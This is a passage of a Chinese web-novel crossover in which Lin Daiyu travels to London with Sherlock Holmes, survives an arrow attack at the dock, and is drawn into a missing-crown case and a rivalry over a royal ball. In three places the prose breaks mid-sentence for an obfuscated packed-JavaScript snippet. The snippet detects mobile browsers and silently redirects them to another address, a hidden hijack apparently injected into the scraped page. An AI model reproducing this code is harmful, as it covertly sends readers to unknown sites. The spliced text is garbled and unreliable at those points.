雷斯瑞德无奈地笑了一声,摊手说:“谁不知道你这个名声在外的大侦探,破案有谁可以和你相比。你这不是在为难人家小伙子。” “警探,你说得太绝对了。”福尔摩斯难得谦虚一回,“我也不是每次都能成功破案,斯坦莱年纪轻轻能成为伦敦的一名警察,说明他也是有过人之处。” 旁边的华生内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13931699|146649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已听得目瞪口呆,他竟然亲耳听见福尔摩斯承认自己也有失败的时候,要知道,在破案方面,除了在哥哥麦克罗夫特面前,福尔摩斯是不会在外人面前承认自己不行的。 听见福尔摩斯如此赞许斯坦莱——至少表面上来看是这样的,雷斯瑞德警探只得点头答应,因为这是目前他能选择的办法。 雷斯瑞德警探也不愿意得罪福尔摩斯,在之前探案中,尽管福尔摩斯有时和自己起争执,但探案的成果都落入了自己的手中。 福尔摩斯向来没有把名利看得很重。 于是雷斯瑞德警探把桌前的案卷卷起来,递给福尔摩斯,说:“上面就是王冠失踪的相关消息,你可以拿回去仔细看,斯坦莱那边我会告诉他的。” 福尔摩斯就这样心满意足地和华生离开了伦敦警局,只是华生有种自己被戏耍出卖的感觉。 …… 林府。 庭院里落叶满地,随着时间的流逝,黛玉的剑法也越来越精进,她已经可以和福尔摩斯相互练剑击打得有来有回——当然期间福尔摩斯放了不少水。 这一天,黛玉已经将行李收拾得差不多,除了衣物,黛玉也带上了不少笔墨纸砚以及丝绸茶叶香料等西洋没有的东西。 黛玉知道最重要的是银子,她没有把所有的银子都放在同一个地方,而是分散在不同的箱子和荷包里。 在出发的前一晚,林如海罕见地主动来到黛玉的房间。 “东西收拾得如何?”林如海问。 黛玉想到明天自己就要乘坐货船前往伦敦,而不是京城,就越发感到心虚。 “多谢父亲的关心,女儿一切都打点稳妥。”黛玉表面镇定自若地回答。 林如海上前轻轻地把黛玉揽入怀中,这是黛玉第一次和父亲近距离拥抱。 她感觉自己的后背被父亲紧紧地搂了一下。 黛玉发现自从父亲醒来后,对自己的态度变得有些不一样了,如果说先前的捧着她的脸是父亲日夜思念的下意识行为,那么这一次的拥抱确实让黛玉有些惊讶。 她和父亲的关系一直都是不冷不热的,甚至有些淡漠。 这些年她在贾府,父亲从未想过要把自己接回林府居住一阵,而是放任她在贾府数年,直到父亲病危她才有机会回林府。 黛玉心中琢磨着父亲有些异常的行为,一个可怕的想法浮现在她的脑海中——或许她的父亲已经知道自己偷偷下西洋的计划。 林如海也意识到自己有些热情的行为让黛玉有些不习惯,于是忙放开了黛玉。 接着林如海叹息一声,摆手让黛玉先行休息。 黛玉恭敬地把父亲送到房门,命雪雁提着灯笼送父亲回房,直到看见父亲的背影消失在夜色中,黛玉才回妆台前卸妆睡去。 这一夜黛玉睡得并不安稳,窗外的竹林风声让她心中惴惴。 她想到明天就要和福尔摩斯远走他乡,面对不知归期的旅途,黛玉感到后背莫名生出凉意。 直到东边天空隐隐发白,黛玉才昏昏沉沉睡去。 这一天,将是她逃离的开始。 20.启程 深秋的扬州城迎来淅淅沥沥的小雨,一场秋雨一场寒,黛玉醒来时感觉到凉意侵入自己的每一寸肌肤。 她忍不住咳嗽一声,机警的雪雁忙给黛玉披上了披风,劝说:“姑娘,今日天气不好,行程往后拖延几天罢。“ 黛玉摇头,她知道雪雁是存私心不想让自己离开林府,但黛玉明白若自己仅仅只为了这一点理由放弃,那么她父亲的身子永远也不会好起来。 雪雁还是没有放弃,继续劝说:“其实姑娘不必亲自前往西洋,姑娘可以派信得过的人下西洋。” 黛玉苦笑,说:“雪雁,你认为林府有谁可以代替我前往?” 雪雁思索,自从贾夫人去世后,林府里就散走了许多下人,林如海虽然有不少亲信,但如今这些亲信年事已高,恐怕下西洋对他们来说就是一场生死离别。 虽然也有年轻些的,但碍于当今情况,这些年轻的所谓亲信,黛玉并不放心,谁知道这些人是否被收买了去。 父亲的政敌连自己的亲戚都可以收买,黛玉自然不会再信他人。 当然黛玉也存有自己的私心,比起贾府的其她女孩,她多了一段出远门的经历——从扬州城到京城。 路途并不算遥远,抛去黛玉第一次离开家乡感到稍微不安的情绪外,黛玉更多感受到的是自由和阔朗。 所以这次下西洋,黛玉心中也有一丝小小的期待——她可以感受更多不同地方的风土人情。 雪雁回答不出比黛玉更加合适的人选,也不好再劝。 秋风萧瑟,秋雨绵绵。林如海领着众小厮乘坐轿子送黛玉前往港口,港口已经有一艘林府备下的大船,从两周前,林府下人就如蚂蚁搬家一点一点把行李搬上去。 所以黛玉乘坐的船上的物品是非常可观的,正如福尔摩斯预料的那样,林如海给黛玉添上的东西足足多了几倍。 作为码头小工的福尔摩斯很知趣地没有出现在林如海面前,在连续这几天教黛玉剑术时,福尔摩斯就察觉到林如海对自己有一股莫名的敌意。 因此他只是远远地望着林府的下人成群结队地送黛玉上船。 林黛玉来到船边,思索着自己该带哪些东西下西洋,她意识到她不可能把所有的东西都带走。 “玉儿,我有事情要和你说。“林如海从云姨娘手中接过雨伞,让身边人先行离去,表示自己要和黛玉单独谈话。 林黛玉慢慢向父亲靠拢,女性天生的敏感让黛玉察觉到父亲已经知道了什么。 “玉儿,请和我实话实说。”林如海神色严肃。 “父亲,女儿不知道说什么。”黛玉努力伪装自己不知情的样子,但颤抖的声音还是出卖了她。 林如海眼睛如两道锐利的剑直射黛玉,让她不由低下头,不敢直视父亲的目光。 黛玉感觉自己的心快速往下沉——她下西洋的事情果然还是让父亲知道了。 “我已经都知道了。”林如海冷静地说,“只是我不理解你为什么会有如此疯狂的想法,是不是那个人蛊惑了你?” 黛玉明白林如海口中说的人是谁。 “他没有。”黛玉的声音已经弱下来。 林如海已经有些生气,黛玉的话在他听来就是知错不改。 “玉儿,我不能让事情往事态严重的方向发展……”林如海的话还没说完,忽然感觉到有一样东西擦着脸颊一侧而过。 一支箭向黛玉的脑门射去,由于似乎刚才擦过林如海的脸颊,箭的速度慢了不少,足够让黛玉有时间躲闪。 再幸而剑术的练习提升了黛玉的动作反应能力,她迅速蹲下,这支箭才擦着她的头顶飞过去。 “父亲,快蹲下。”林黛玉催促林如海。 林如海战战兢兢地蹲下,刚才的严肃态度一扫而空。 她顺着箭发射的方向望去,已经远远看见福尔摩斯带头把射箭的人扑倒。 福尔摩斯的眼力和听力向来是数一数二的好,在等待黛玉时,他就发现她周围的异常。 福尔摩斯看见一个人披着宽大的蓑衣慢慢向父女俩靠近,他眯起眼睛,在十分钟前他就注意到这个人不停地在此处徘徊,出于侦探的直觉,也悄悄跟上前。 他观察到这人的蓑衣和正常行人的蓑衣不同,是干净利索的——正常行人的蓑衣或多或少都溅上泥巴。 反常的现象让福尔摩斯起了警心。 在射出箭的前几秒,福尔摩斯看见这个人举起了弓箭,电光火石之间,福尔摩斯伸出手臂肘击了他。 射出的方向一偏,箭穿过岸边的布旗,才飞向父女俩——此时箭的威力和速度早已在和布料旗子接触的那一刻抵消掉了,所以箭对林如海也只是造成擦伤而已,否则这箭就会像猛兽的锐利的牙齿,撕下他脸颊上的一块肉下来。 射箭的人像是有备而来,福尔摩斯扑倒这个人后,他立刻抽出毒酒,想往自己的口中倒去。 福尔摩斯手疾眼快,从那人手中夺下毒酒,没让这死士得逞。 船边的林如海对于多次的袭击早已忍无可忍,光天化日之下竟然会发生这种事情,这一次袭击终于成为了压倒他最后一根稻草,在短短一分钟内,林如海便计划好要如何教训教训这些不知好歹的幕后黑手。 林如海走向那人,命小厮把他带下去,朝福尔摩斯感激地点点头,才转身安慰黛玉。 让他感到惊讶的是,黛玉的脸色只是有些发白,甚至可以用神色如常来形容。 林如海才意识到自己的女儿早已不是那个幼年承欢膝下的五六岁孩子,现在的她可能比自己想象中的还要勇敢。 “玉儿没事就好。”林如海后怕地握住黛玉的手。 “父亲……”黛玉仰头看了看父亲脸上的擦伤。 林如海似乎在下定决心,或许送黛玉离开才是最好的选择——至少可以保证黛玉的安全。 虽然正值雨天,岸边的路人也不少,刚才发生的事情实在是太快,现在这些路人才反应过来,刚才竟然有人想当众射杀林府的老爷,这可是极其恶劣的事情。 林如海似乎有意将事情闹大,挺直腰板,像展示荣誉徽章似的向众人展现脸上的伤口。 这时福尔摩斯的呻吟声幽幽从林如海背后传来。 黛玉才发现福尔摩斯的手臂在刚才的决斗中受了伤,鲜血淋漓。 “你的伤口……”林黛玉几乎是下意识脱口而出。 福尔摩斯脸上露出玩味般的笑容,说:“没有那么严重,包扎一下就好了。” 林如海的眼光掠过福尔摩斯的伤口,最后落到黛玉的身上,坚决地说:“玉儿,你必须要前往京城,不能……” “难道你没有过问你女儿下西洋的目的?”林如海身后的福尔摩斯不耐烦地打断了林如海的话,“我现在来告诉你,你女儿下西洋是为了你。” “什么?”林如海身子一僵,他没想到黛玉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黛玉的语气变得坚决,说:“只有你才能瞒住老太太,能瞒多久是多久。” 紫鹃只得不情愿地看着黛玉带着雪雁上了船。 维多利亚号已经启航,黛玉乘坐的大船也跟了上去。 她站在甲板上,看着岸边父亲的身影渐渐消失成一个小点,两岸熟悉的风景由快变慢往后退。 复杂的心情让黛玉忍不住叹气。 “如果你再不找到纱布,或许还没到伦敦,我就因为失血过多而死去了。”福尔摩斯幽怨的声音从黛玉背后传来。 黛玉转身看见狼狈的福尔摩斯,忙命紫鹃从船舱里拿出纱布,递给福尔摩斯。 福尔摩斯一边用另一只没有受伤的手臂包扎伤口,一边看着黛玉的神情——哀愁又浮现在黛玉的似烟非烟眉毛间。 “你已经开始想家了。”福尔摩斯很理解黛玉的心情,他已经记不得上次在伦敦是什么时候了——仿佛已经是好几百年前的事情了。 黛玉回答:“不只是想家。” “我知道你担心什么。”福尔摩斯宽慰她,“你的剑法已经练习得很不错,身子也有好转,我相信这一路你会找到药方。” 黛玉没有说话,只是远眺那扬州城的青山绿水渐渐隐没在天际边。 她的余光落到福尔摩斯受伤的手臂上,她发现了一丝不对劲。 21.舞会难题 “你手臂上的伤口看起来有点古怪。”黛玉把注意力从船边的风景转移到福尔摩斯的伤口上。 黛玉勉强睁大眼睛盯着福尔摩斯手臂上的伤口,这不像是表皮被擦伤或者刮伤,鲜血淋漓反而像是被割到血管源源不断流出来。 “你的伤口似乎比我想象中的要更严重一些,但又感觉有点说不上的不对劲。”林黛玉向福尔摩斯说出自己内心的想法。 福尔摩斯轻声笑了一下,说:“你看出来了。”福尔摩斯用纱布用力地抹了抹衣服的鲜血,解释说,“因为这并不是我的血,而是我在市场上提前买来的猪血包,我一直把它藏在袖口里,在和那个人打斗时不小心弄破了血包。” “那你模仿得还挺像的,连我也都被骗了去。”林黛玉发觉自己又被福尔摩斯戏耍了一回,几乎是下意识冷笑道,“害得我又白白担心……” 黛玉突然意识到自己失言,才及时住了口,没有说下去。 福尔摩斯似乎没有意识到黛玉的差点失态,而忙表态自己的本意并非如此,说:“我买猪血包原本是想研究血液在不同时间下发生的凝固状态,你是知道我检查尸体时也需要通过血液的状态来推论死亡时间。” 林黛玉冷笑问:“那你如何解释之后发出的呻吟声?” 福尔摩斯有些不好意思地低头说:“是我摔痛了手臂,没有忍住。” 他没有说出真正的原因——他只是想借此转移黛玉的注意力,好缓解黛玉出发前的思乡之情。 在准备出发离开家乡的那一刻,往往是不舍的情绪到达顶峰的时候。 黛玉不太相信福尔摩斯的话,在之前福尔摩斯受到的攻击比刚才的要严重一些,怎么可能就仅仅碰了一下手臂就痛得发出呻吟声。 她也没有戳穿福尔摩斯的谎言,只是让他好好休息。随即她立刻扶了雪雁的手进入船内,在福尔摩斯察觉自己刚才的失态前远离他。 …… 伦敦。 林黛玉告别特纳小姐后,回到自己的旅馆,一名侍女亲自把一封信交给黛玉。 信封上面写着:“黛玉.林亲启。” 这是女王送来的邀请信,女王在信中邀请她参加三天后晚上的宴会,上面附带着宴会的门票。 到目前为止,这些对黛玉来说来说都是预料之中的事情,直到看到信的末尾,黛玉发现女王竟然希望自己能带来一名舞伴一起参加晚宴。 “一名优雅的淑女可以一个人在晚宴舞会上大放光彩,也可以带上一名帅气的男士来点缀自己美丽的衣裙。”女王在信上如此写。 “我将会开办一个精彩的舞会,因此我真诚地希望你能有自己的舞伴,林小姐。”女王用这句结束了信上的内容。 看完女王的来信,林黛玉有些犯难,她如何在伦敦找到合适的男士来和自己参加舞会。 黛玉不是一个随便的人,她不可能随意在街上挑选一个又高又帅的陌生男人和她一起参加舞会。 听见自家姑娘的困难,紫鹃惋惜地说:“可惜宝二爷不在这里,否则宝二爷就是姑娘的绝佳人选。” 雪雁不接紫鹃的话,而是微笑说:“我倒是想到一个绝佳人选,那就是福尔摩斯先生。” “他?”林黛玉细细考虑,福尔摩斯确实是她在伦敦最了解的男士。 黛玉回忆自己曾经和福尔摩斯相处的时刻——福尔摩斯从未展现过舞蹈的技能,于是摇摇头,说:“福尔摩斯未必会答应,他不一定会跳舞。” 最重要的是福尔摩斯并不喜欢那种场合,黛玉曾经听福尔摩斯说过,这些晚宴和舞会对他来说就是一种无聊的消磨时间的慢性自杀。 雪雁也回忆了一下,努力在脑海中刮搜福尔摩斯跳舞的有关片段,最后她得出的结论是福尔摩斯确实不会跳舞——至少在她们面前是这样的。 紫鹃对于福尔摩斯这个人选并不是很满意,在这几天下来,她觉得福尔摩斯和黛玉之间并没有什么亲密的行为,他们之间的关系就像烧开的水一样单调无聊,尤其是福尔摩斯那种冷漠不在乎的态度根本就比不上宝玉。 就连刚认识几天的斯坦莱警官看起来都比福尔摩斯热情。 “我想除了福尔摩斯,还有另一个人选。”紫鹃舒展紧皱的眉头,“斯坦莱警官也是一个不错的选择。” 这几天和斯坦莱的接触,旁人只要不像福尔摩斯那种对感情迟钝只会专心投入工作的人,都明眼看出来斯坦莱对黛玉有意思。 听见紫鹃的话,雪雁终于同意紫鹃的想法,拍手笑道:“对,就是他,虽然他有时有点让人摸不着头脑,但是他和姑娘一起参加舞会也不错。” 雪雁斯觉得坦莱也不比福尔摩斯差。 林黛玉把信件收起来,轻轻伸出手指敲了敲雪雁,说:“女王只是希望我带上舞伴,并没有强制要求,我们何必为这件事情徒增烦恼。” 黛玉相信自己独自一人参加舞会也不会受到女王的苛责。 “姑娘,可是那是舞会。”雪雁也了解舞会,她记得当年第一次来伦敦时,她家姑娘年龄还小,独自参加舞会也没什么大碍。 但是现在她的姑娘已经成长一名青年,多多少少也要带上一名舞伴才合适。 见黛玉不为所动,雪雁也只得转移话题,说:“姑娘想在舞会上穿什么,还是那几件荷叶边丝绸裙吗?” 林黛玉细想了一会,说:“不用那几件,你们去把我在扬州城带来的衣服拿出来整理,我打算穿去参加舞会。” 雪雁和紫鹃惊奇地对视了一眼,黛玉可从来没有在伦敦穿过家乡的服饰。 雪雁还是有些不放心,说:“姑娘不是说过要入乡随俗,如今怎么又想到穿起那些衣服?” 黛玉没有马上回答,而是走到窗台边,低头看了看川流不息的街道,才缓缓说:“当年我第一次来伦敦,人轻言微,穿家乡的衣服自然会引人侧目,招来非议。时境过迁,现在的我不需要看谁的脸色,也无需在意这些,所以我想穿一穿家乡的服饰,也好缓解思乡之情。” 更深刻的一点黛玉并没有告诉她们——她希望东方能流传在伦敦的东西不仅仅只有的茶叶和瓷器。 雪雁和紫鹃忙到衣帽间把压箱底的服饰拿出来,看着多日没见的东方服饰,两个女孩竟然一时失了神。 尽管这是紫鹃第一次来到伦敦,但通过刚才黛玉和雪雁的对话,她明白这里和东方不一样,青年女孩们参加舞会似乎要带上舞伴。 看着手上耀眼美丽的服饰,紫鹃更加坚决要让自家姑娘选个舞伴——这样好的衣裙,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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紫鹃抬头看了看警局的钟表,表示自己得赶快回去。 紫鹃并没有打算将黛玉出席舞会的消息告诉福尔摩斯,一是她不知道贝克街的地址,二是她觉得既然斯坦莱已经答应,也没有去通知福尔摩斯的必要。 斯坦莱十分热情地将紫鹃送出警局,把她送上了马车,亲自看见马车消失才美滋滋地转身回警局。 接下发生的事情让斯坦莱高兴到了极点,他看见福尔摩斯又从雷斯瑞德警探的办公室出来。 “你好,福尔摩斯先生!”斯坦莱难得罕见地主动打招呼。 福尔摩斯看着这热情的斯坦莱,第一想法是猜测这斯坦莱成功拿到了所谓的《绿珠小姐》的戏票,否则他无法解释斯坦莱这一股得意的劲从何而来。 斯坦莱像是玩弄猎物地看着福尔摩斯,他没有马上将黛玉和自己参加舞会的消息告诉福尔摩斯,而是把话题转移到案件上来。 “王冠失踪案你如何解决?”斯坦莱问他,“我们只剩下三天的时间,听说三天后晚上女王将会戴上王冠开设宴会,我们不能让女王难堪。” 提到案件,福尔摩斯很快将注意力从斯坦莱的态度转移到案件上。 “王冠失踪的事情比我想象中的要复杂——但也不是没办法。”福尔摩斯皱眉,“更大的麻烦是,这件事情已经惊动了首相和内务大臣。” 斯坦莱顿时感到压力倍增,高涨的情绪顿时低落下来。 “我想他们应该快到了。”福尔摩斯抬手看了手腕上的手表,这时有人推开警局大门进入。 22.凭什么 进入警局的是首相,身后跟着西装革履的两个人,福尔摩斯猜测其中一个人是内务大臣,脸色是健康的红色,体格健壮,西装下的肚子绷得紧紧的,就像一只站立起来的河马。 而另一个人并不知道身份,他面容冷峻,头发梳得一丝不苟,身材消瘦,但从那人的脸上看起来却有些恼怒。 首相的到来几乎惊动了警局的所有人,首相只是向众人摆手,表示自己是来找福尔摩斯的。 有那么一瞬间,福尔摩斯感觉到四面八方的目光汇集到自己的身上,有羡慕,有嫉妒,也有恨——被首相亲自点名是个莫大的荣耀,但只有鼎鼎大名的福尔摩斯有这样的待遇。 “福尔摩斯先生,下午好。”首相彬彬有礼地打了个招呼。 “下午好。”福尔摩斯从容回答,“我想我们可以找个无人的办公室坐下来谈论这件事情。” “我正有此意。”首相露出微笑。 福尔摩斯拍了拍斯坦莱,让他带领去办公室。 和福尔摩斯的从容不迫相比,斯坦莱显得有些手忙脚乱——这个初入茅庐的小警官显然还没有足够的心理准备去迎接这个重要的场面。 “噢,好。”斯坦莱紧张地应了一声,推开旁边的房间的门,笨手笨脚地做了个“请”的手势。 福尔摩斯向来不在这种小礼节上下功夫,他径直进入房间,让客人们先坐在柔软的沙发上。 首相摘下帽子,露出油亮油亮的大脑门,用手帕擦拭着脑门上的冒出的冷汗,说:“福尔摩斯先生,我听雷斯瑞德警探说你接过了这个案子,这对我们来说是个天大的好消息!” 福尔摩斯点头示意首相继续说下去。 首相向福尔摩斯介绍身后的两个人,一个就是福尔摩斯猜测的内务大臣,而另一个就是埃特米尔勋爵先生。 内务大臣礼貌地上前握了福尔摩斯的手,勋爵先生显然没有任何表示,只是朝福尔摩斯冷冷地点头,质疑他:“你真的能破案?” 福尔摩斯似乎被这勋爵的话逗乐了,笑说:“难道勋爵先生不相信我?” 这位勋爵傲慢地说:“我不是不想相信,我只是觉得你的传闻有艺术加工的成分——事实远没有传闻中那么夸张。” “听勋爵先生的意思,勋爵先生是不希望我破案了。”福尔摩斯皮笑肉不笑回答。 旁边的首相低声警告勋爵先生不得对福尔摩斯无礼,这勋爵先生才愤愤不平地解释:“首相,我觉得……” “你闭嘴。”首相不耐烦地打断了勋爵先生的话。 福尔摩斯似乎也不在意这勋爵无礼的行为。 首相开门见山,说:“准确来说,这个王冠失踪是个严重的挑衅,在前几天,因为女王要开设宴会,所以我们打算将王冠从伦敦郊区的私人花园搬入皇宫的城堡中,但没想到在路上就被人抢走,我们抓到了部分人,但是王冠不在他们身上,他们也没有供出任何线索。” 福尔摩斯点头,扬了扬手中的案卷,说:“这些内容我都从这里知道了。” 首相忧心忡忡地告诉福尔摩斯,说:“福尔摩斯先生,我不得不提醒你,他们身上有枪,万事要小心。” “我相信我的使枪技术比他们好。”福尔摩斯对此不以为然。 福尔摩斯低头的一瞬间,计划立刻浮现在脑海中,随手拿起纸条写了起来,递给首相,说:“首相,我需要你帮个忙,尽可能的快。” 首相点头同意,说:“我会动用所有力量满足你的要求。如果能找回王冠,我可以给你任何想要的东西。” 听首相的语气,只要福尔摩斯找回女王的王冠,整个英国都可以拱手让给他。 “好。那么你们现在可以先回去了。”福尔摩斯心满意足,拍了拍斯坦莱,“和我一起去市场买些东西,我需要一些帘子。” 斯坦莱看着首相远去的背影,心神不宁地摇摇头,问:“福尔摩斯先生,都这个时候了,你怎么还有心情逛市场?” “为什么没有心情呢?”福尔摩斯信心十足地说,“华生刚回家,所以只有你可以来帮我提东西。” 斯坦莱想拒绝——留给他破案的时间不多了,他没法像福尔摩斯那样镇定从容。 “你一个人破不了案件的。”福尔摩斯似乎看穿斯坦莱的小心思,得意地告诉他,“你倒不如乖乖听我的话。” “那样我就拿不回《绿珠小姐》的戏票了。”斯坦莱小声承认,“雷斯瑞德警探已经告诉我,谁先破案就可以拿到戏票。” 这时斯坦莱早已后悔事先把多余的戏票给了自己的警探,如果现在这张戏票还在自己的手里多好,可惜送出去的戏票就像泼出去的水,收不回。 “你刚才没有听到首相说的话?”福尔摩斯大度地提醒斯坦莱,“只要破了这个案子,首相就可以给我们想要的东西。” 听到这里,斯坦莱才恍然大悟,作为英国的最高层领导,首相肯定能轻而易举地搞到《绿珠小姐》的戏票,到时他们想要一百张也可以,不必为了这一张争来争去。 但斯坦莱的眼底又暗了一下,幽幽地问福尔摩斯:“福尔摩斯先生,你真的只是帮华生的未婚妻搞这张戏票吗?” 福尔摩斯的神色在那一瞬间凝固了一下,但他很快反应过来,微笑回答:“是的。” “你真的没有其他目的?”斯坦莱凝视着福尔摩斯的眼珠,他灰色的眼珠像一潭深不见底的水,让斯坦莱琢磨不透。 尽管在庄园时,斯坦莱看见黛玉和福尔摩斯并没有什么亲密的行为,但从华生的态度来看,福尔摩斯肯定是对黛玉有点意思的,至少他和黛玉之间的关系肯定不一般。 警察的直觉让斯坦莱不得不绷紧精神。 福尔摩斯摇摇头,违心地回答:“我没有别的目的。” “撒谎。”斯坦莱心中默默回应福尔摩斯。 他们走出警局,福尔摩斯再次问他是否一起前往市场买些东西。 “当然要去。”斯坦莱想看看福尔摩斯到底想卖什么关子,而且他还要试探福尔摩斯。 斯坦莱挥了挥手中的钥匙,邀请他一起坐上警车:“公事公办,我可没有违规。” “好。”福尔摩斯知道斯坦莱是在回应自己上次阻止黛玉坐警车的事情,但他假装不知道。 来到市场,福尔摩斯一口气买下了几十条帘子,斯坦莱看得目瞪口呆,说:“福尔摩斯先生,请问你的家里有那么多窗户给你挂帘子吗?” “还真是有。”福尔摩斯微笑回答,“你不觉得有很多张窗帘可以使用是一件很幸福的事情吗?” 斯坦莱还真没觉得。 福尔摩斯提着大包小包走出市场,忽然听见一个二手商店传来美妙的音乐声。 “《威尼斯船夫曲》,很不错的曲子。”福尔摩斯听得如醉如痴,他找到声音来源处——是一台唱片机。 福尔摩斯买下了整个唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13958737|146649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片机。 “没想到你也有音乐的喜好。”斯坦莱帮福尔摩斯把东西搬上车。 警车往前开了一段路,斯坦莱对福尔摩斯的试探开始了。 “我在想,如果我们找到女王的王冠,她肯定会邀请我们去参加三天后的舞会。”斯坦莱缓缓开口。 “我不喜欢舞会。”福尔摩斯不假思索回答,“吵闹的人群,无聊的音乐以及繁琐的礼节。” “噢,是吗?”斯坦莱喜上眉梢,“那么可真是可惜,我听说林小姐要参加女王的宴会。” “这很正常。”福尔摩斯不以为然地摆手,“她不远万里来伦敦就是为了参加女王的宴会。” “宴会过后是舞会。”斯坦莱假装不经意提起,“不知道谁会和林小姐一起跳舞呢。” 福尔摩斯的动作顿了一下,才缓缓说:“我想林小姐应该不会参加舞会,她不会跳舞。” “原来如此,那我得要好好教她跳舞。”斯坦莱得意地说出了这句话。 福尔摩斯眯起眼睛,克制端正身子的冲动,说:“什么意思?” 斯坦莱假装惊讶,回答:“就是字面意思,我要教她跳舞。” 福尔摩斯冷笑一声,当年他教黛玉练习剑术和英语时,斯坦莱还不知道在哪个英国的小村庄玩泥巴呢。 “我认为我比你更合适教他。”福尔摩斯冷淡地回答,“我有不少教学经验。” 斯坦莱听到这里,他的心沉了一下——果然福尔摩斯和黛玉有过特别的过往。 但斯坦莱立刻又高兴起来,毕竟被邀请参加舞会的是自己,而不是福尔摩斯。 于是斯坦莱像是宣誓主权一样告诉福尔摩斯,说:“或许你是个好老师,但林小姐邀请和她一起参加舞会的是我,而不是你。” 听到斯坦莱这一句话,福尔摩斯感觉自己的脑袋嗡嗡声响。 什么意思?林黛玉要和斯坦莱一起参加舞会? 原本之前斯坦莱相约黛玉看戏本就让福尔摩斯心里不太舒服,看现在这意思,黛玉似乎有意和斯坦莱相处。 福尔摩斯第一次感觉自己的血液喷涌冲上头顶,作为一名理智的侦探,福尔摩斯竭力让自己冷静下来。 他做不到。 福尔摩斯深吸一口气,问:“什么时候的事情?” “这不重要。”斯坦莱早已把福尔摩斯的表情变化看在眼里,心里暗爽,“重要的是我现在得去挑一件帅气的晚礼服,和林小姐一起参加舞会。” “好。”福尔摩斯心里五味杂陈。 警车已经在贝克街停下,斯坦莱做了个极其标准的“请”的手势,彬彬有礼地说:“敬爱的大侦探,你的目的已经到达。“ 福尔摩斯只想给斯坦莱的脸上来一个拳头。 但他还是忍住了。 福尔摩斯拿着东西下了马车,把东西放进去,他开始焦虑地来回踱步,细细回忆黛玉和斯坦莱相处的细节。 他们之间是什么时候好上的? 福尔摩斯心中思考了半天,还是想不通黛玉和斯坦莱怎么就关系好到可以一起参加舞会。 “得了。”福尔摩斯安慰自己,“不过是个小小的舞会,我为什么那么在乎?” 但是福尔摩斯还是觉得很不爽,凭什么那个斯坦莱就可以和她去参加舞会。 福尔摩斯走出贝克街,赶往黛玉的旅馆,他可以不去舞会,但黛玉也不能和那个斯坦莱一起参加。 23、吃醋了 伦敦的旅馆中,林黛玉很快就察觉到紫鹃的消失,尽管有雪雁遮掩,但黛玉比雪雁更聪明一些。“紫鹃去哪里了?”黛玉见只有雪雁一个人忙上忙下,很快就起了疑心,“她也不可能会偷懒。”雪雁支支吾吾,说:“紫鹃姐姐身子不太舒服,去休息了。” “身子不舒服?”黛玉说着就要起身,在异国他乡生病可不是什么好事,对于这一点,黛玉有深刻的体会。雪雁急忙道:“姑娘不用担心,紫鹃姐姐说她休息一会就好了。”看着雪雁躲闪的眼神,黛玉很清楚她在撒谎。黛玉似乎猜到了什么,神色严肃道:“雪雁,这里不是林府或贾府,你要跟我说实话,紫鹃到底去哪里?” 雪雁只得坦白。 听见紫鹃要将自己的舞伴的消息告知福尔摩斯和斯坦莱,黛玉第一反应是又急又羞。 她着急的是紫鹃太过于大胆,竟然在陌生国度的街头独自行动,她羞的是出席舞会邀请舞伴的事情让福尔摩斯知晓。“姑娘总不可能一个人去参加舞会。”雪雁分辩,“我们也是希望姑娘有人陪伴。”黛玉欲张嘴,已经看见紫鹃推门进入,看见紫鹃平安无事,黛玉才略放下心。 她没有搭理紫鹃,也不想理睬雪雁,心中默默琢磨如何解决这个问题,她可不想让那两个人误会。 屋内的气氛降到了冰点。 看着黛玉对自己不理睬的样子,紫鹃和雪雁终于感到有些后悔,反思自己所作所为是否太过分。林黛玉坐在柔软的床上,抬头看着窗外的天空——伦敦的天空总是灰蒙蒙的,就和她现在的心境一般。黛玉有些心神不宁,她不知道如果福尔摩斯和斯坦莱都知道消息,那么来参加舞会的会是谁?就在这时,门外先是传来急促的敲门声,但只是敲了一会,敲门声又变得缓慢沉重下来。 离门最近的雪雁赶忙去开门,发现是福尔摩斯。“林小姐在这里吗?”福尔摩斯的语气罕见的有一丝焦急。 雪雁从福尔摩斯的称呼中听出一丝不对劲,福尔摩斯已经很久没有称呼自家姑娘为“林小姐”,他 般和华生一样,直呼林黛玉全名再加上小姐,以表示关系远近,而不是这种冰冷的口气。雪雁没有多想,进入房间向黛玉告知福尔摩斯已经在门外。 黛玉有些意外,她以为会来的是斯坦莱——毕竟福尔摩斯很少会出席那种舞会场合。她来到门口,目光先是快速掠过福尔摩斯的脸庞,他脸上是少见的焦躁。 